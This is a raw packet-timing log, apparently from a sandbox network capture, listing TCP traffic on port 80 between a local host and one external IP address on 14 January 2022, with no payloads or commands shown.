Jan 14, 2022 02:05:12.963210106 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.963246107 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.963290930 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.963300943 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.963335991 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.963359118 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.963397026 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.963433981 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.963473082 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.963490009 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.963524103 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.963546991 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.963586092 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.963624954 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.963661909 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.963676929 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.963706970 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.963730097 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.963769913 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.963809013 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.963846922 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.963860989 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.963891029 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.963916063 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.963953018 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.963992119 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.964030027 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.964046955 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.964078903 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.964102030 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.964139938 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.964565992 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.036441088 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.036554098 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.036626101 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.036705971 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.036987066 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.037053108 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.037086010 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.037148952 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.037226915 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.037266970 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.037286043 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.037322044 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.037353992 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.037412882 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.037448883 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.037491083 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.037508011 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.037543058 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.037565947 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.037605047 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.037642956 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.037678957 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.037694931 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.037725925 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.037749052 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.037789106 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.037826061 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.037883997 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.037913084 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.037951946 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.037969112 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.038007975 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038044930 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038089037 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038100004 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.038132906 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.038156033 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038193941 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038230896 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038266897 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038295984 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.038331032 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038341999 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.038381100 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038419962 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038456917 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038471937 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.038503885 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.038527966 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038566113 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038605928 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038645029 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038660049 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.038691998 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.038714886 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038754940 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038793087 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038810968 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.038850069 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038888931 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038925886 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038944006 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.038988113 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.038999081 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.039037943 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.039077997 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.039114952 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.039136887 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.039167881 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.039186954 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.039225101 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.039263964 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.039303064 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.039318085 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.039351940 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.039375067 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.039411068 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.039449930 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.039488077 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.039504051 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.039544106 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.039561033 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.039599895 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.039634943 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.039674044 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.039690018 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.039719105 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.039743900 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.039783955 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.039820910 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.039860010 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.039877892 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.039916039 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.039935112 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.039974928 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.040014029 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.040050983 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.040067911 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.040101051 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.040134907 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.040174007 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.040214062 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.040254116 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.040270090 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.040301085 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.040332079 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.040371895 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.040407896 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.040446997 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.040462017 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.040494919 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.040515900 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.040555000 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.040591002 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.040630102 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.040647984 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.040679932 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.040704966 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.040747881 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.040786982 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.040822983 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.040839911 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.040879011 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.040893078 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.040930986 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.042700052 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.064532042 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.113054037 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.113234997 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.113401890 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.113491058 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.113641977 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.113723993 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.113811970 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.113907099 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.114008904 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.114073038 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.114089012 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.114175081 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.114187002 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.114265919 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.114305019 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.114343882 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.114375114 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.114401102 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.114439011 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.114459038 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.114515066 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.114541054 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.114578962 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.114617109 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.114644051 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.114679098 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.114729881 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.114765882 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.114789963 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.114826918 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.114846945 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.114881992 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.114919901 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.114958048 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.114979029 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.115015030 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.115046978 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.115086079 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.115122080 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.115160942 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.115191936 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.115217924 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.115255117 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.115276098 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.115315914 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.115348101 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.115386009 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.115422964 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.115462065 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.115490913 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.115521908 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.115567923 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.115587950 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.115628004 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.115659952 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.115685940 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.115722895 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.115762949 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.115787029 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.115819931 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.115850925 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.115875959 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.115914106 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.115950108 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.115968943 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116005898 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116044044 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116063118 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.116100073 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116132021 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.116157055 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116194010 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116224051 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.116251945 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116291046 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116329908 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116359949 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.116388083 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116426945 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.116442919 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116482019 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116511106 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.116538048 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116575956 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116601944 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.116632938 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116672039 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116709948 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116738081 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.116770029 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116803885 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.116827965 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116867065 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116893053 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.116924047 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116961002 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.116997957 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.117022991 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.117054939 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.117091894 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.117114067 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.117152929 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.117178917 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.117211103 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.117252111 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.117291927 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.117320061 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.117347956 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.117382050 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.117403030 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.117439032 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.117472887 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.117495060 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.117532015 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.117551088 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.117588043 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.117626905 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.117664099 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.117688894 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.117721081 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.117754936 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.117777109 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.117815018 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.117866993 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.117914915 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.117955923 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.117994070 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.118030071 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.118051052 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.118098974 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.118112087 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.118155956 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.153939962 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.154056072 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.154135942 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.190184116 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.190974951 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.191061020 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.191144943 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.191157103 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.191190958 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.191235065 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.191317081 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.191354990 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.191392899 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.191415071 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.191456079 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.191468000 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.191507101 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.191544056 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.191581964 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.191598892 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.191627979 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.191654921 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.191694021 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.191732883 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.191790104 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.191807032 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.191838980 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.191860914 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.191900015 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.191940069 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.191978931 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.191996098 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.192034006 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.192068100 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.192106962 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.192145109 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.192181110 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.192197084 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.192225933 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.192254066 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.192292929 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.192332983 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.192369938 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.192388058 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.192421913 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.192442894 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.192480087 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.192518950 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.192555904 CET	80	49865	141.8.194.74	192.168.2.3
